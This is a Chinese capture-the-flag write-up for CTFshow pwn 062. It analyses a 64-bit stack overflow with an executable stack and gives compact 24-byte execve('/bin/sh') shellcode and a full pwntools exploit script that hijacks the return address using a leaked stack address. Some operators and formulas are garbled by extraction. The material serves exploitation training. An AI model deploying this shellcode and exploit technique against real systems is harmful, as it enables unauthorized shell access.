【CTFshow-pwn系列】03_栈溢出【pwn 062】详解:受限缓冲区下的极简 Shellcode 注入与利用实战

张开发
2026/4/11 3:16:47 15 分钟阅读

分享文章

【CTFshow-pwn系列】03_栈溢出【pwn 062】详解:受限缓冲区下的极简 Shellcode 注入与利用实战
本文仅用于技术研究禁止用于非法用途。Author: 枷锁在上一关pwn 061中我们利用程序主动泄露的栈基址通过gets函数毫无限制地在内存中挥洒 Payload。但 CTF 的竞技场绝不会永远如此慷慨。来到PWN 062题目描述只有一个冷酷的词“短了一点”。这短短四个字直接点破了本题的核心难点在极小的溢出空间内完成执行流劫持与 Shellcode 注入的极限博弈。题目信息与环境侦察1. 检查保护机制 (checksec)首先我们对二进制文件进行例行“体检”。~/Desktop .............................................................. at 21:15:00 checksec pwn [*] /home/shining/Desktop/pwn Arch: amd64-64-little -- 64 位 amd64 架构 RELRO: Partial RELRO Stack: No canary found -- 栈哨兵未开启允许溢出 NX: NX unknown - GNU_STACK missing -- 核心突破口栈权限为 RWX (可执行) PIE: PIE enabled -- 地址随机化开启基址动态变动 Stack: Executable RWX: Has RWX segments -- 确定存在可执行内存段 Stripped: No战术分析PIE 开启代码段基址不可预测我们不能硬编码任何跳转地址。NX 缺失这是我们唯一的生机。只要能获取到栈地址并成功跳转我们注入的指令就能被 CPU 执行。架构差异64 位环境下地址位宽8 字节和传参约定与 32 位完全不同必须严格遵守。第一部分代码审计与漏洞挖掘1. 静态分析 (IDA Pro)拖入 IDA 64-bit观察main函数逻辑int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rdi _QWORD buf[2]; // [rsp0h] [rbp-10h] BYREF -- 缓冲区长度 16 字节 buf[0] 0; buf[1] 0; v3 stdout; setvbuf(stdout, 0, 1, 0); logo(v3, 0); puts(Welcome to CTFshow!); // 【关键信息泄露】打印 buf 数组在当前进程栈中的绝对地址 // 即使 PIE 开启这行输出也直接把栈的“底牌”翻给了我们 printf(Whats this : [%p] ?\n, buf); puts(Maybe its useful ! But how to use it?); // 【核心约束点】 // 此处使用 read 替代了 gets输入长度被严格限制为 0x3856 字节 read(0, buf, 0x38u); return 0; }漏洞分析缓冲区buf大小为 16 字节0x10。read长度0x3856 字节。溢出差值56−164056 - 16 4056−1640字节。虽然read比gets安全很多但这里的溢出空间依然足够我们覆盖掉返回地址。然而真正的挑战在于返回地址之后只剩下了极小的空间来存放 Shellcode。第二部分栈空间布局可视化与精准计算这是本题最硬核的部分。为了成功利用我们需要像裁缝一样在 56 字节的布料上裁剪出完美的补丁。1. 栈空间分布图 (64-bit Memory Layout)我们将 Payload 划分为三个阶段其在栈上的排布如下地址由低到高地址(相对buf) 栈内容可视化 大小 战术职能 -------------------------------------------------------------------------------- | buf0 | [ Shellcode 注入区 / 垃圾填充 ] | 16 Bytes | 承载缓冲区被溢出覆盖 | -------------------------------------------------------------------------------- | buf16 | [ Saved RBP (旧栈底指针) ] | 8 Bytes | 填充至返回地址的关键垫片 | -------------------------------------------------------------------------------- | buf24 | [ Return Address (返回地址) ] | 8 Bytes | 劫持点跳转至 buf_addr 32 | -------------------------------------------------------------------------------- | buf32 | [ 真正的极简 Shellcode ] | 24 Bytes | 程序的最终执行目标 | -------------------------------------------------------------------------------- | buf56 | [ read 截断边界 ] | 0 Bytes | read 停止读取溢出结束 | --------------------------------------------------------------------------------2. 为什么 Shellcode 只能是 24 字节Offset 计算16(buf)8(rbp)2416 (buf) 8 (rbp) 2416(buf)8(rbp)24字节到达返回地址前。RET 占用888字节存放我们要跳转的地址。空间消耗2483224 8 3224832字节。剩余可用长度56(read上限)−32(已消耗)2456 (read上限) - 32 (已消耗) \mathbf{24}56(read上限)−32(已消耗)24字节。在 64 位环境下常规的shellcraft.sh()产生的 Shellcode 长度通常在 44 到 48 字节之间。如果不进行精简Shellcode 会在中间被read强行截断导致程序崩溃。第三部分Tiny Shellcode 的艺术为了在 24 字节内完成execve(/bin/sh)系统调用每一行汇编都要经过极致的压榨。1. 核心逻辑拆解 (24 Bytes)这段经典的极简机器码巧妙地利用了push/pop指令的短字节特性和寄存器复用; \x6a\x3b push 0x3b; pop rax; ; rax 59 (execve 调用号) ; \x58 ; \x99 cdq; ; rdx 0 (前提是 rax 0) ; \x52 push rdx; ; 压入字符串结束符 \x00 ; \x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68 movabs rbx, 0x68732f6e69622f2f; ; \x53 push rbx; ; 将 //bin/sh 压入栈 ; \x54 push rsp; pop rdi; ; rdi 指向栈顶的 /bin/sh ; \x5f ; \x52 push rdx; push rsi; ; rsi NULL (参数数组) ; \x57 ; \x54 push rsp; pop rsi; ; \x5e ; \x0f\x05 syscall; ; 触发 64 位系统调用中断第四部分实战 EXP 编写与详解from pwn import * # 1. 基础配置 # 64 位题目必须指定 arch amd64否则 p64 等函数会报错 context(arch amd64, os linux, log_level debug) # 2. 动态环境选择逻辑 # 方便在本地调试 (python3 exp.py) 与远程攻击 (python3 exp.py REMOTE) 切换 if args[REMOTE]: io remote(pwn.challenge.ctf.show, 28200) # 请更新为最新分配的端口 else: io process(./pwn) # 3. 24 字节极简 Shellcode (寸土寸金不能多一个字节) shellcode_tiny b\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05 # 4. 地址泄露处理 # 程序打印格式Whats this : [0x7ffe...] ? io.recvuntil(b[) buf_addr_str io.recvuntil(b], dropTrue) buf_addr int(buf_addr_str, 16) success(f[*] 捕捉到动态栈基址{hex(buf_addr)}) # 5. 构造 Payload # 第一步填充 24 字节 (16字节buf 8字节rbp) padding bA * 24 # 第二步覆盖返回地址 # 跳转目标计算buf地址 24(垃圾填充) 8(返回地址自身) buf_addr 32 # 此时 RIP 会精准降落在我们放置 Shellcode 的位置 ret_addr p64(buf_addr 32) # 第三步拼接 Shellcode payload padding ret_addr shellcode_tiny # 6. 发送绝杀 # 注意本题 read 刚好读到 payload 结束使用 send 比 sendline 更稳妥 log.info(f[*] 发送 Payload总长度{len(payload)} 字节 (0x38)) io.send(payload) # 7. 拿 Shell io.interactive()第五部分核心知识点复盘1. 栈对齐原则 (Stack Alignment)在 64 位 Pwn 中偏移计算必须对齐到 8 字节。很多同学习惯了 32 位下的 4 字节偏移容易导致 Payload 在覆盖返回地址时产生错位从而引发Illegal Instruction。2. 约束边界感知拿到题目第一件事是计算“输入上限”。如果溢出空间 常用 Shellcode 长度就必须考虑寻找精简指令或使用ORW等高级技巧。3. PIE 绕过与稳定性虽然 PIE 开启了但程序主动泄露的栈地址是我们的“定海神针”。只要偏移不变我们就拥有了整张栈内存的“绝对坐标”。总结精简到极致的博弈pwn 062 向我们展示了在受限环境下的利用艺术。当常规的工具失效时对汇编底层的理解就是你手中最锋利的刀。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。

更多文章